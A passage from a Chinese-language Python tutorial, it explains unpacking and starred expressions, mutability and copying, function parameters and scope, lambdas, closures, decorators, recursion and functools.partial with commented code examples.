print(c) # 'C'
# 字符串也是序列,每个字符就是一个元素
解包时,等号左边的变量个数必须和右边的元素个数完全相等。多一个或少一个都会报错:
# ❌ 变量太少 → ValueError: too many values to unpack
a, b = [1, 2, 3]
# 3个值,只有2个变量,Python 不知道第3个给谁
# ❌ 变量太多 → ValueError: not enough values to unpack
a, b, c, d = [1, 2, 3]
# 3个值,却有4个变量,第4个变量没有值可以赋
# ✅ 正确:数量一致
a, b, c = [1, 2, 3] # 3个变量,3个值,完美匹配
初学者最常犯的错误就是数错元素个数。建议:先数清楚右边有多少个元素,再写左边的变量。如果右边元素数量不确定,就用星号 * 来收集(下一节会讲)。
# 场景1:交换两个变量(不需要临时变量!)
a = 10
b = 20
a, b = b, a # 右边先计算成元组 (20, 10),再解包
print(a) # 20
print(b) # 10
# 这是 Python 最优雅的交换方式,比其他语言的三行代码简洁多了
# 场景2:遍历字典时同时获取键和值
user = {"name": "张三", "age": 18, "city": "北京"}
for key, value in user.items():
print(f"{key}: {value}")
# name: 张三
# age: 18
# city: 北京
# 场景3:遍历列表时同时获取索引和值
fruits = ["苹果", "香蕉", "橙子"]
for index, fruit in enumerate(fruits):
print(f"第{index+1}个水果是{fruit}")
# 第1个水果是苹果
# 第2个水果是香蕉
# 第3个水果是橙子
# 场景4:函数返回多个值
def get_user_info():
return "张三", 18, "北京" # 实际返回一个元组
name, age, city = get_user_info()
print(f"{name},{age}岁,住在{city}")
有时候,你只关心序列的前几个或后几个元素,剩下的元素你不在乎。这时候用 * 变量来"收集"剩余的元素,就像用一个袋子把不要的东西装起来。
想象你从快递箱里拆包裹:你知道第一个是手机,第二个是充电器,但剩下的配件你不确定有什么。你可以这样说:"第一个是手机,第二个是充电器,剩下的全部放袋子里。"这里的"袋子"就是 * 变量。
# *rest 收集剩余元素
first, *rest = [1, 2, 3, 4, 5]
print(first) # 1
print(rest) # [2, 3, 4, 5] ← 剩余的元素全部收集到列表中
# 执行过程:
# 第1步:first = 1(第一个元素)
# 第2步:rest = [2, 3, 4, 5](剩余的所有元素打包成列表)
# 星号可以在任意位置
first, second, *middle, last = [1, 2, 3, 4, 5, 6, 7]
print(first) # 1(第一个元素)
print(second) # 2(第二个元素)
print(middle) # [3, 4, 5, 6](中间的所有元素)
print(last) # 7(最后一个元素)
# Python 的分配规则:先给没有星号的变量分配,最后剩余的给星号变量
# 星号变量收集到的永远是列表(即使只有一个元素)
a, *b = [1, 2]
print(a) # 1
print(b) # [2] ← 注意:是列表 [2],不是数字 2
# 如果没有剩余元素,星号变量是空列表
a, *b = [1]
print(a) # 1
print(b) # [] ← 空列表,不是 None
获取列表的第一个和最后一个元素:first, *_, last = data。其中 _ 是惯用的"丢弃"变量名,表示"中间的我不关心"。
data = [10, 20, 30, 40, 50]
first, *_, last = data
print(first) # 10
print(last) # 50
print(_) # [20, 30, 40] ← 中间的被丢弃了
# ❌ 不能有两个星号
# a, *b, *c = [1, 2, 3, 4] # SyntaxError: multiple starred
# ✅ 只能有一个星号
a, *b, c = [1, 2, 3, 4] # a=1, b=[2,3], c=4
星号 * 有两个完全相反的功能:
*rest = [1,2,3][*a, *b]收集 = 你把散落的积木装进盒子(多个变一个)
展开 = 你把盒子里的积木倒出来(一个变多个)
# === 展开列表 ===
a = [1, 2, 3]
b = [4, 5, 6]
c = [*a, *b]
print(c) # [1, 2, 3, 4, 5, 6]
# *a 把 [1,2,3] 展开成 1, 2, 3
# *b 把 [4,5,6] 展开成 4, 5, 6
# 最终效果等价于 [1, 2, 3, 4, 5, 6]
# 展开元组
t = (10, 20, 30)
print([*t, 40, 50]) # [10, 20, 30, 40, 50]
# 展开字符串(每个字符变成一个元素)
print([*"abc"]) # ['a', 'b', 'c']
# 展开集合(注意:集合是无序的,顺序可能不同)
s = {100, 200, 300}
combined = [0, *s, 999]
print(combined) # [0, 100, 200, 300, 999]
# 展开 range 对象
print([*range(5), 100]) # [0, 1, 2, 3, 4, 100]
| 方式 | 语法 | 特点 |
|---|---|---|
加号 + | a + b | 创建新列表,只能合并同类型 |
| extend | a.extend(b) | 修改原列表,只能用于列表 |
星号 * | [*a, *b] | 创建新列表,可混合任意可迭代对象 |
# 星号展开的独特优势:可以混合不同类型的可迭代对象
lst = [1, 2]
tup = (3, 4)
st = {5, 6}
rng = range(7, 9)
# 用 + 号做不到的,星号可以
combined = [*lst, *tup, *st, *rng]
print(combined) # [1, 2, 3, 4, 5, 6, 7, 8]
单星号 * 用于列表/元组,双星号 ** 用于字典。它把字典的键值对"展开",可以用来合并字典或传递关键字参数。
# === 合并字典 ===
defaults = {"color": "red", "size": 10, "font": "Arial"}
user_settings = {"color": "blue", "size": 14}
# ** 展开字典,后面的覆盖前面的
merged = {**defaults, **user_settings}
print(merged)
# {'color': 'blue', 'size': 14, 'font': 'Arial'}
# user_settings 的 "color" 和 "size" 覆盖了 defaults 中的同名键
# 向字典添加新键
config = {**defaults, "theme": "dark", "lang": "zh"}
print(config)
# {'color': 'red', 'size': 10, 'font': 'Arial', 'theme': 'dark', 'lang': 'zh'}
# 等价写法(Python 3.9+ 可以用 | 运算符)
merged2 = defaults | user_settings # Python 3.9+
当两个字典有相同的键时,后面的字典的值会覆盖前面的。这个规则和 CSS 的层叠类似——后声明的样式优先级更高。
base = {"a": 1, "b": 2}
override = {"b": 99, "c": 3}
result = {**base, **override}
print(result) # {'a': 1, 'b': 99, 'c': 3}
# "b" 被 override 的值覆盖了
当函数需要多个位置参数,而你恰好有一个列表时,用 * 把列表展开:
def add(a, b, c):
return a + b + c
nums = [1, 2, 3]
# 不用解包的写法
print(add(nums[0], nums[1], nums[2])) # 6(繁琐!)
# 用解包的写法
print(add(*nums)) # 6(简洁!)
# *nums 把 [1, 2, 3] 展开成 1, 2, 3
# 等价于 add(1, 2, 3)
def greet(name, age, city):
print(f"{name},{age}岁,来自{city}")
info = {"name": "张三", "age": 18, "city": "北京"}
# 不用解包的写法
greet(name=info["name"], age=info["age"], city=info["city"]) # 繁琐!
# 用解包的写法
greet(**info) # 简洁!
# **info 把字典展开成 name="张三", age=18, city="北京"
# 等价于 greet(name="张三", age=18, city="北京")
def original_func(a, b, c, d):
print(f"a={a}, b={b}, c={c}, d={d}")
# 包装函数:接收参数后原样传递
def wrapper(*args, **kwargs):
print("调用前做一些事情...")
original_func(*args, **kwargs) # 展开后传递
print("调用后做一些事情...")
wrapper(1, 2, c=3, d=4)
# 调用前做一些事情...
# a=1, b=2, c=3, d=4
# 调用后做一些事情...
*b = [2] 中 b 是列表 [2],不是数字 2本章是 Python 中最容易让人困惑、也是最常考的知识点之一。很多初学者会遇到"诡异"的 bug:明明修改了变量 b,变量 a 也跟着变了!理解可变与不可变、赋值与拷贝的区别,这些 bug 就会迎刃而解。本章会用大量的图解和生活类比来帮你彻底搞懂。
Python 中的每个对象都有一个属性:能不能被"原地修改"。这就是可变和不可变的区别:
不可变 = 你在石头上刻字。刻完之后,如果想改内容,只能找一块新石头重新刻。原来的石头不变。
可变 = 你在白板上写字。写完之后,擦掉重写就行,白板还是那块白板。
# === 不可变类型示例:str ===
s = "hello"
print(id(s)) # 假设是 140234866534128(内存地址)
s = s + " world"
print(id(s)) # 变了!是新的对象 140234866534208
# s + " world" 并没有修改原来的 "hello"
# 而是创建了一个新的字符串 "hello world",然后让 s 指向它
# 原来的 "hello" 如果没有其他变量引用,就会被垃圾回收
# === 可变类型示例:list ===
lst = [1, 2, 3]
print(id(lst)) # 假设是 140234866501120
lst.append(4)
print(id(lst)) # 没变!还是 140234866501120
# append 是原地修改,列表还是那个列表,只是内容多了
因为这直接影响到赋值和函数传参的行为。如果一个变量是不可变类型,你不用担心它被"意外修改";但如果是可变类型,就要小心了——多个变量可能指向同一个对象,修改一个会影响另一个。
# 用 id() 函数来检测
# 如果操作前后 id 不变 → 可变
# 如果操作前后 id 变了 → 不可变(创建了新对象)
# 测试 int(不可变)
x = 10
print(id(x)) # 140234866534000
x += 1
print(id(x)) # 变了!140234866534032
# 测试 list(可变)
lst = [1, 2, 3]
print(id(lst)) # 140234866501120
lst.append(4)
print(id(lst)) # 没变!140234866501120
# 测试 tuple(不可变)
t = (1, 2, 3)
print(id(t)) # 140234866501200
# t.append(4) # ❌ AttributeError: 'tuple' object has no attribute 'append'
t = t + (4,) # 创建新元组
print(id(t)) # 变了!
元组本身是不可变的,但如果元组里包含了可变对象(如列表),那个可变对象仍然可以修改:
t = (1, 2, [3, 4])
print(id(t)) # 不变
# t[0] = 99 # ❌ TypeError: tuple 不支持元素赋值
t[2].append(5) # ✅ 列表可以修改!
print(t) # (1, 2, [3, 4, 5])
print(id(t)) # 还是同一个元组对象
在 Python 中,变量不是盒子,而是标签。赋值操作不是把数据"装进"变量里,而是让变量"贴"到一个对象上。
想象一堆文件(对象)放在桌上。变量就是贴在文件上的便利贴。
a = [1, 2, 3] = 在列表 [1,2,3] 上贴一张写有 "a" 的便利贴
b = a = 在同一个列表上再贴一张写有 "b" 的便利贴(不是复制文件!)
现在 a 和 b 都指向同一个文件。修改文件的内容,两个便利贴看到的都会变。
# 赋值是引用(贴标签)
a = [1, 2, 3] # a 指向列表 [1, 2, 3]
b = a # b 也指向同一个列表(贴了第二张标签)
b.append(4) # 通过 b 修改了列表
print(a) # [1, 2, 3, 4] ← a 也变了!因为是同一个对象
print(a is b) # True ← is 检查是否是同一个对象
print(a == b) # True == 检查值是否相等
print(id(a) == id(b)) # True ← 内存地址相同
# 图解:
# 赋值前: a → [1, 2, 3]
# 赋值后: a → [1, 2, 3] ← b (两个标签贴在同一对象上)
# b.append(4) 后:
# a → [1, 2, 3, 4] ← b (修改了对象本身,两个标签看到的内容都变了)
这是 Python 最著名的"坑"之一。默认参数在函数定义时只计算一次,而不是每次调用时都重新计算。
# ❌ 错误写法
def add_item(item, lst=[]):
"""将 item 添加到 lst 中"""
lst.append(item)
return lst
print(add_item(1)) # [1]
print(add_item(2)) # [1, 2] ← 期望是 [2],但默认列表被共享了!
print(add_item(3)) # [1, 2, 3]
# 为什么会这样?
# 函数定义时,默认参数 lst=[] 只创建一次
# 每次调用 add_item() 不传 lst 参数时,都使用同一个列表对象
# 所以每次 append 都在修改同一个列表
# ✅ 正确写法:用 None 作为默认值
def add_item_fixed(item, lst=None):
if lst is None:
lst = [] # 每次调用都创建新列表
lst.append(item)
return lst
print(add_item_fixed(1)) # [1]
print(add_item_fixed(2)) # [2] ← 正确!每次都是独立的列表
记住这条规则:函数的默认参数,如果需要可变对象,用 None 作为默认值,在函数体内创建。这是 Python 社区的最佳实践。
当你需要复制一个对象时,Python 提供了三种方式,它们的"复制深度"不同:
赋值 = 两个人共用一张银行卡(一方花钱,另一方的余额也变)——根本没有复制
浅拷贝 = 复印了一张银行卡(卡号不同,但账户里的钱还是同一份)——只复制了外壳
深拷贝 = 开了一个全新的银行账户,把钱也转过去了——完全独立的副本
import copy
# ========================================
# 赋值:不是拷贝,只是多了一个标签
# ========================================
a = [1, 2, [3, 4]]
b = a # b 和 a 指向同一个列表
b[0] = 99 # 修改 b 的第一个元素
print(a) # [99, 2, [3, 4]] ← a 也变了!
print(b) # [99, 2, [3, 4]]
print(a is b) # True ← 是同一个对象
# ========================================
# 浅拷贝:只拷贝第一层
# ========================================
a = [1, 2, [3, 4]]
b = a.copy() # 浅拷贝(也可以用 copy.copy(a) 或 a[:])
b[0] = 99 # 修改 b 的第一个元素
print(a) # [1, 2, [3, 4]] ← a 的第一层没变!
print(b) # [99, 2, [3, 4]]
print(a is b) # False ← 是不同的对象
# 但是!嵌套的子列表还是共享的!
b[2].append(5) # 修改 b 的子列表
print(a) # [1, 2, [3, 4, 5]] ← a 的子列表也变了!
print(b) # [99, 2, [3, 4, 5]]
print(a[2] is b[2]) # True ← 子列表是同一个对象!
# 图解浅拷贝:
# a → [1, 2, [3, 4]] ← a[2] 指向子列表 [3, 4]
# b → [99, 2, [3, 4]] ← b[2] 也指向同一个子列表 [3, 4]
# ========================================
# 深拷贝:完全独立的副本
# ========================================
a = [1, 2, [3, 4]]
b = copy.deepcopy(a) # 深拷贝
b[2].append(5) # 修改 b 的子列表
print(a) # [1, 2, [3, 4]] ← a 完全不受影响!
print(b) # [1, 2, [3, 4, 5]]
print(a[2] is b[2]) # False ← 子列表也是不同的对象
# 原始数据:a = [1, 2, [3, 4]]
# === 赋值 b = a ===
# 内存中只有 1 个列表对象
# a ──→ [1, 2, [3, 4]] ←── b
# 修改 b[0] → a[0] 也变了
# === 浅拷贝 b = a.copy() ===
# 内存中有 2 个列表对象,但子列表共享
# a ──→ [1, 2, ──→ [3, 4]]
# b ──→ [1, 2, ──→ [3, 4]] ← 子列表指向同一个对象
# 修改 b[0] → a[0] 不变 ✅
# 修改 b[2].append(5) → a[2] 也变了 ❌
# === 深拷贝 b = copy.deepcopy(a) ===
# 内存中有 2 个列表对象,子列表也是独立的
# a ──→ [1, 2, ──→ [3, 4]]
# b ──→ [1, 2, ──→ [3, 4]] ← 子列表是不同的对象
# 修改 b[0] → a[0] 不变 ✅
# 修改 b[2].append(5) → a[2] 不变 ✅
| 方式 | 语法 | 拷贝深度 | 适用场景 |
|---|---|---|---|
| 赋值 | b = a | 不拷贝,只是引用 | 需要多个变量指向同一对象 |
| 浅拷贝 | a.copy() | 只拷贝第一层 | 列表中没有嵌套可变对象 |
| 浅拷贝 | a[:] | 只拷贝第一层 | 列表切片 |
| 浅拷贝 | list(a) | 只拷贝第一层 | 构造新列表 |
| 浅拷贝 | copy.copy(a) | 只拷贝第一层 | 通用浅拷贝 |
| 深拷贝 | copy.deepcopy(a) | 完全独立的副本 | 列表中有嵌套可变对象 |
copy.deepcopy() 对内置类型(list、dict 等)自动生效,但对自定义类,它默认浅拷贝所有属性。如果你的类包含需要深拷贝的属性,需要实现 __deepcopy__ 方法:
import copy
class Config:
def __init__(self, data):
self.data = data # data 是一个 dict
def __deepcopy__(self, memo):
# memo 是深拷贝的缓存,防止循环引用
new = Config.__new__(Config)
new.data = copy.deepcopy(self.data, memo) # 手动深拷贝
return new
c1 = Config({"key": [1, 2, 3]})
c2 = copy.deepcopy(c1)
c2.data["key"].append(99)
print(c1.data) # {'key': [1, 2, 3]} ← 不受影响
这也是为什么第 15 章讲面向对象时会再次讨论深拷贝——理解对象的拷贝行为是 OOP 的重要基础。
b = a 不是复制,只是多了一个标签None 代替== 和 is:== 比较值,is 比较是否同一个对象函数是编程的"积木块"。就像乐高积木一样,你可以把一个个小函数组合起来,搭建出复杂的程序。本章会从零开始讲解函数的定义、参数、返回值和作用域——这些都是写 Python 代码的基石。
想象你每天都要给10个朋友发"早安"消息。不用函数的话,你要写10行几乎相同的代码。有了函数,你只需要写一次,然后调用10次。
函数就像一台榨汁机:你放进去水果(参数),它吐出果汁(返回值)。你不需要知道榨汁机内部怎么运作,只需要知道"放苹果进去,苹果汁出来"。
或者像一个自动售货机:你投入硬币(参数),按下按钮(调用函数),商品掉出来(返回值)。售货机内部的机制对你来说是"黑盒"。
# 定义函数
def greet(name):
"""向某人打招呼(这是 docstring,用来说明函数功能)"""
print(f"你好,{name}!")
# 调用函数
greet("张三") # 你好,张三!
greet("李四") # 你好,李四!
# greet 被调用了两次,每次传入不同的参数,执行相同的逻辑
# 不用函数的写法(重复代码)
print("你好,张三!")
print("你好,李四!")
# 如果要改问候语,每个地方都要改 → 维护噩梦
def 函数名(参数):
"""文档字符串(说明函数做什么)"""
函数体(执行的代码)
return 返回值
# 示例:
def add(a, b): # def 是关键字,add 是函数名,a 和 b 是参数
"""返回两个数的和""" # 文档字符串(可选但推荐)
result = a + b # 函数体
return result # 返回值
# 调用
total = add(3, 5) # 传入参数 3 和 5,得到返回值 8
print(total) # 8
get_user_name,不要用 GetUserNamecalculate_area,不要用 calc 或 func1get_xxx、set_xxx、is_xxx、calculate_xxx位置参数就是按顺序传入的参数。调用时,第一个值给第一个参数,第二个值给第二个参数,以此类推。
# 按顺序传入
def introduce(name, age):
print(f"我叫{name},今年{age}岁")
introduce("张三", 18) # 我叫张三,今年18岁
introduce(18, "张三") # ❌ 语义错误!顺序反了,变成"我叫18,今年张三岁"
# 位置参数必须按顺序传递
def power(base, exponent):
return base ** exponent
print(power(2, 10)) # 1024 (2的10次方)
print(power(10, 2)) # 100 (10的2次方)
# 顺序不同,结果完全不同!
关键字参数让你可以用"参数名=值"的方式传递,这样顺序就不重要了。
# 用名字指定,顺序无所谓
introduce(age=18, name="张三") # ✅ 正确:我叫张三,今年18岁
# 混合使用:位置参数在前,关键字参数在后
introduce("张三", age=18) # ✅ 正确
# introduce(name="张三", 18) # ❌ SyntaxError: 关键字参数必须在后面
如果某个参数大部分时候都用同一个值,可以给它设一个默认值。调用时可以不传这个参数。
# 参数有默认值,调用时可以不传
def greet(name, greeting="你好"):
print(f"{greeting},{name}!")
greet("张三") # 你好,张三!(使用默认值 "你好")
greet("张三", "早上好") # 早上好,张三!(传入自定义值)
# ⚠️ 默认参数必须放在位置参数后面
def good(a, b, c=10): # ✅ c 有默认值,放在最后
pass
# def bad(a=1, b): # ❌ SyntaxError: 非默认参数在默认参数后面
# pass
不要用列表、字典等可变对象作为默认参数!(详见第十章)
# ❌ 错误写法
def append_to(item, lst=[]):
lst.append(item)
return lst
print(append_to(1)) # [1]
print(append_to(2)) # [1, 2] ← 期望是 [2]!
# ✅ 正确写法
def append_to(item, lst=None):
if lst is None:
lst = []
lst.append(item)
return lst
# / 之前的参数只能用位置传递,不能用关键字
def func(a, b, /, c, d):
print(a, b, c, d)
func(1, 2, 3, 4) # ✅ 全部位置
func(1, 2, c=3, d=4) # ✅ a,b 用位置,c,d 用关键字
# func(a=1, b=2, c=3, d=4) # ❌ TypeError: a 只能用位置传递
# 为什么要用这个功能?
# 当参数名可能和关键字冲突时,强制用位置更安全
def len(s, /): # s 必须用位置传递
return s.__len__()
# * 之后的参数必须用关键字传递
def func(a, b, *, c, d):
print(a, b, c, d)
func(1, 2, c=3, d=4) # ✅
# func(1, 2, 3, 4) # ❌ TypeError: c 必须用关键字传递
# 为什么要用这个功能?
# 当有很多参数时,强制用关键字可以避免搞混顺序
def create_user(name, age, *, email, phone):
print(f"{name}, {age}, {email}, {phone}")
create_user("张三", 18, email="a@b.com", phone="123") # ✅ 清晰明了
# 完整的参数顺序:
# 位置参数 → / → 普通参数 → *args → 仅限关键字参数 → **kwargs
def full_example(a, b, /, c, d, *args, e, f, **kwargs):
print(f"a={a}, b={b}, c={c}, d={d}")
print(f"args={args}")
print(f"e={e}, f={f}")
print(f"kwargs={kwargs}")
full_example(1, 2, 3, 4, 5, 6, e=7, f=8, g=9, h=10)
# a=1, b=2, c=3, d=4
# args=(5, 6)
# e=7, f=8
# kwargs={'g': 9, 'h': 10}
函数通过 return 语句把结果"送出去"。调用者可以接收这个结果。
# return 返回结果
def add(a, b):
return a + b
result = add(3, 5)
print(result) # 8
# return 之后的代码不会执行
def func():
print("第一行")
return 42
print("这行永远不会执行") # 死代码
func() # 只打印 "第一行"
# 返回多个值(Python 会自动打包成元组)
def get_info():
return "张三", 18, "北京"
# 接收返回值
info = get_info()
print(info) # ('张三', 18, '北京') ← 是元组
print(type(info)) # <class 'tuple'>
# 用解包接收
name, age, city = get_info()
print(name) # 张三
print(age) # 18
print(city) # 北京
# 没有 return 或 return 后面没有值,返回 None
def say_hello():
print("hello")
result = say_hello()
print(result) # None
# 这不是 bug!很多函数只是执行操作,不需要返回值
# 比如 print()、list.append()、list.sort() 都返回 None
# 提前返回可以避免深层嵌套
def check_age(age):
if age < 0:
return "年龄不能为负数"
if age < 18:
return "未成年"
if age < 65:
return "成年人"
return "老年人"
# 等价的嵌套写法(可读性差)
def check_age_nested(age):
if age < 0:
return "年龄不能为负数"
else:
if age < 18:
return "未成年"
else:
if age < 65:
return "成年人"
else:
return "老年人"
当函数有多个"出口"时,用提前返回可以让代码更扁平、更易读。这是专业程序员的常用模式。
作用域决定了变量在哪些地方可以被访问。Python 用 LEGB 规则来查找变量:
# L — Local(局部作用域)
def func():
x = 10 # x 是局部变量,只在函数内可见
print(x)
func() # 10
# print(x) # ❌ NameError: x 在函数外不存在
# E — Enclosing(嵌套函数的外层作用域)
def outer():
x = 10 # x 是 outer 的局部变量
def inner():
print(x) # inner 可以访问 outer 的 x(Enclosing)
inner()
outer() # 10
# 如果要在内层修改外层变量,用 nonlocal
def outer():
x = 10
def inner():
nonlocal x # 声明要修改外层的 x
x = 20
inner()
print(x) # 20
# G — Global(全局作用域)
x = 100 # 全局变量
def func():
print(x) # 可以读取全局变量
func() # 100
# 如果要在函数内修改全局变量,用 global
def func():
global x # 声明要修改全局的 x
x = 200
func()
print(x) # 200
# B — Built-in(内置作用域)
# len, print, type, int, str, list 等都是内置的
# 你可以在任何地方使用它们
当 Python 遇到一个变量名时,按以下顺序查找:
如果四个地方都没找到,就抛出 NameError。
Docstring 是函数体的第一条字符串,用来说明函数的功能、参数和返回值。它不是注释(#),而是可以通过 __doc__ 属性访问的文档。
def calculate_area(radius):
"""
计算圆的面积。
参数:
radius (float): 圆的半径
返回:
float: 圆的面积
示例:
>>> calculate_area(5)
78.53981633974483
"""
import math
return math.pi * radius ** 2
# 用 __doc__ 查看文档
print(calculate_area.__doc__)
# 用 help() 查看完整帮助
help(calculate_area)
# 在 IDE 中,鼠标悬停在函数名上就能看到 Docstring
# 1. Google 风格(推荐)
def func(a, b):
"""简短描述。
Args:
a: 第一个参数
b: 第二个参数
Returns:
返回值描述
"""
# 2. NumPy 风格
def func(a, b):
"""简短描述。
Parameters
----------
a : type
参数描述
b : type
参数描述
Returns
-------
type
返回值描述
"""
# 3. reStructuredText 风格
def func(a, b):
"""简短描述。
:param a: 参数描述
:param b: 参数描述
:returns: 返回值描述
"""
= 是赋值,== 是比较上一章我们学会了函数的基础用法。本章将带你进入函数的"高级模式":可变参数、匿名函数、闭包、装饰器和递归。这些是 Python 中最强大也最优雅的特性,掌握它们后,你的代码会变得更加灵活和简洁。
有时候你不知道函数会被传入多少个参数。比如你想写一个"求和"函数,用户可能传入2个数,也可能传入100个数。这时候就需要 *args 和 **kwargs。
*args = 一个快递箱,不管卖家寄了多少件商品,全部装进箱子(元组)
**kwargs = 一张表单,不管填了多少个字段,全部记录在表(字典)里
# *args:接收任意数量的位置参数,打包成元组
def add_all(*args):
print(f"args 的类型: {type(args)}") # <class 'tuple'>
print(f"args 的值: {args}") # (1, 2, 3, 4, 5)
return sum(args)
print(add_all(1, 2, 3, 4, 5)) # 15
print(add_all(10, 20)) # 30
print(add_all()) # 0(没有参数,args 是空元组)
# **kwargs:接收任意数量的关键字参数,打包成字典
def print_info(**kwargs):
print(f"kwargs 的类型: {type(kwargs)}") # <class 'dict'>
for key, value in kwargs.items():
print(f"{key}: {value}")
print_info(name="张三", age=18, city="北京")
# name: 张三
# age: 18
# city: 北京
# 顺序:位置参数, *args, 关键字参数, **kwargs
def func(a, b, *args, c=10, **kwargs):
print(f"a={a}, b={b}") # 位置参数
print(f"args={args}") # 多余的位置参数
print(f"c={c}") # 关键字参数(有默认值)
print(f"kwargs={kwargs}") # 多余的关键字参数
func(1, 2, 3, 4, c=20, x=100, y=200)
# a=1, b=2
# args=(3, 4)
# c=20
# kwargs={'x': 100, 'y': 200}
* 和 ** 才是关键,后面的变量名可以随便取。但 args 和 kwargs 是社区约定俗成的命名,建议遵守。
# 这样写也完全可以
def func(*numbers, **options):
print(numbers)
print(options)
Lambda 是一种没有名字的函数,只能写一行表达式。它的语法是:
lambda 参数: 表达式
普通函数 = 你写了一张完整的菜谱(有名字、有步骤、有注意事项)
Lambda = 你在便签纸上写了一句话:"苹果切片"——简单、快速、用完就扔
# 普通函数 vs Lambda
# 普通函数
def square(x):
return x ** 2
# Lambda 等价写法
square = lambda x: x ** 2
print(square(5)) # 25
# 多个参数
add = lambda a, b: a + b
print(add(3, 5)) # 8
# 带条件的 Lambda
absolute = lambda x: x if x >= 0 else -x
print(absolute(-5)) # 5
print(absolute(3)) # 3
# 用途1:作为排序的 key
students = [("张三", 90), ("李四", 75), ("王五", 85)]
students.sort(key=lambda s: s[1]) # 按分数排序
print(students) # [('李四', 75), ('王五', 85), ('张三', 90)]
# 按字符串长度排序
words = ["banana", "apple", "cherry", "date"]
words.sort(key=lambda w: len(w))
print(words) # ['date', 'apple', 'banana', 'cherry']
# 用途2:配合 filter 使用(筛选)
numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
even = list(filter(lambda x: x % 2 == 0, numbers))
print(even) # [2, 4, 6, 8, 10]
# 用途3:配合 map 使用(转换)
squares = list(map(lambda x: x**2, numbers))
print(squares) # [1, 4, 9, 16, 25, 36, 49, 64, 81, 100]
# 用途4:配合 sorted 使用(不修改原列表)
data = [{"name": "张三", "age": 30}, {"name": "李四", "age": 20}]
sorted_data = sorted(data, key=lambda d: d["age"])
print(sorted_data) # [{'name': '李四', 'age': 20}, {'name': '张三', 'age': 30}]
return(表达式本身就是返回值)if-else 语句(但可以用三元表达式)闭包 = 内部函数 + 它记住的外部变量。当一个内部函数引用了外部函数的变量,即使外部函数已经执行完毕,内部函数仍然可以访问那些变量。
想象你在一个工厂里工作。工厂给你一个工具箱(外部变量),你带着工具箱离开了工厂(内部函数返回)。即使工厂关门了,你手里的工具箱还在——你仍然可以使用里面的工具。这就是闭包:函数"记住"了它出生时的环境。
def make_multiplier(n):
"""创建一个乘以 n 的函数"""
def multiplier(x):
return x * n # n 来自外层函数,被"记住"了
return multiplier
# make_multiplier(2) 执行后,n=2 被 multiplier "记住"
double = make_multiplier(2)
triple = make_multiplier(3)
print(double(5)) # 10 (5 * 2)
print(triple(5)) # 15 (5 * 3)
# 验证闭包
print(double.__closure__) # (<cell at 0x...: int object>,)
print(double.__closure__[0].cell_contents) # 2
# 用途1:工厂函数(创建一系列相似的函数)
def make_greeting(prefix):
def greet(name):
return f"{prefix},{name}!"
return greet
morning_greet = make_greeting("早上好")
evening_greet = make_greeting("晚上好")
print(morning_greet("张三")) # 早上好,张三!
print(evening_greet("李四")) # 晚上好,李四!
# 用途2:计数器
def make_counter(start=0):
count = [start] # 用列表来存储,因为列表是可变的
def counter():
count[0] += 1
return count[0]
return counter
c = make_counter()
print(c()) # 1
print(c()) # 2
print(c()) # 3
# 用途3:配置函数
def make_validator(min_val, max_val):
def validate(x):
return min_val <= x <= max_val
return validate
age_validator = make_validator(0, 150)
score_validator = make_validator(0, 100)
print(age_validator(25)) # True
print(age_validator(200)) # False
print(score_validator(85)) # True
装饰器是 Python 中最强大的特性之一。它可以在不修改原函数代码的情况下,给函数增加额外功能。装饰器的本质是一个接收函数、返回函数的高阶函数。
装饰器就像给手机套手机壳——手机本身没变,但多了保护功能。你也可以套多层壳(多个装饰器叠加)。
或者像快递包装:商品(原函数)没变,但外面包了泡沫(增加的功能),再套了纸箱(又增加了一层功能)。
# 最简单的装饰器
import time
def timer(func):
"""测量函数执行时间的装饰器"""
def wrapper(*args, **kwargs):
start = time.time()
result = func(*args, **kwargs) # 调用原函数
end = time.time()
print(f"{func.__name__} 耗时 {end - start:.4f} 秒")
return result
return wrapper
# 用 @ 语法使用装饰器(推荐)
@timer
def slow_function():
time.sleep(1)
print("执行完成")
slow_function()
# 执行完成
# slow_function 耗时 1.0012 秒
# 等价写法(不使用 @ 语法)
def slow_function2():
time.sleep(1)
print("执行完成")
slow_function2 = timer(slow_function2) # 手动装饰
# 带参数的装饰器需要三层嵌套
def repeat(n):
"""让函数执行 n 次的装饰器"""
def decorator(func):
def wrapper(*args, **kwargs):
for _ in range(n):
result = func(*args, **kwargs)
return result
return wrapper
return decorator
@repeat(3)
def say_hello():
print("Hello!")
say_hello()
# Hello!
# Hello!
# Hello!
# 用 functools.wraps 保留原函数的 __name__、__doc__ 等
import functools
def my_decorator(func):
@functools.wraps(func) # ← 这一行很重要!
def wrapper(*args, **kwargs):
print("函数执行前")
result = func(*args, **kwargs)
print("函数执行后")
return result
return wrapper
@my_decorator
def greet(name):
"""向某人打招呼"""
print(f"你好,{name}")
print(greet.__name__) # greet(没有 wraps 的话是 wrapper)
print(greet.__doc__) # 向某人打招呼
@functools.wraps(func)*args, **kwargs 接收参数,这样装饰器可以用于任何函数return result,否则原函数的返回值会丢失本章介绍的是函数装饰器——最基础、最常用的装饰器。Python 中还有类装饰器和方法装饰器,它们在面向对象章节中详细介绍:
先把函数装饰器的原理(闭包 + 高阶函数)理解透彻,后面的类/方法装饰器就很容易掌握了。
递归就是函数调用自身。就像两面镜子之间的无限反射——但你必须有一个"终止条件"(基准情况),否则会无限递归。
递归就像俄罗斯套娃:你打开一个娃娃,里面有一个更小的娃娃,再打开,还有更小的……直到你找到最小的那个(基准情况),然后开始往回组装。
# 阶乘:n! = n * (n-1) * (n-2) * ... * 1
def factorial(n):
if n <= 1: # 基准情况(终止条件)
return 1
return n * factorial(n - 1) # 递归调用
print(factorial(5)) # 120 (5*4*3*2*1)
# 执行过程:
# factorial(5) = 5 * factorial(4)
# = 5 * 4 * factorial(3)
# = 5 * 4 * 3 * factorial(2)
# = 5 * 4 * 3 * 2 * factorial(1)
# = 5 * 4 * 3 * 2 * 1
# = 120
# 斐波那契数列:1, 1, 2, 3, 5, 8, 13, ...
def fibonacci(n):
if n <= 2:
return 1
return fibonacci(n - 1) + fibonacci(n - 2)
print(fibonacci(10)) # 55
RecursionErrorsys.setrecursionlimit() 修改,但不推荐偏函数就是把一个函数的某些参数"固定住",生成一个新的简化版函数。就像你把相机的某些设置(光圈、快门)固定好,以后只需要按快门就行。
from functools import partial
# 原始函数
def power(base, exponent):
return base ** exponent
# 创建偏函数:固定 exponent=2
square = partial(power, exponent=2)
cube = partial(power, exponent=3)
print(square(5)) # 25 (5**2)
print(cube(3)) # 27 (3**3)
# 实际用途:简化重复调用
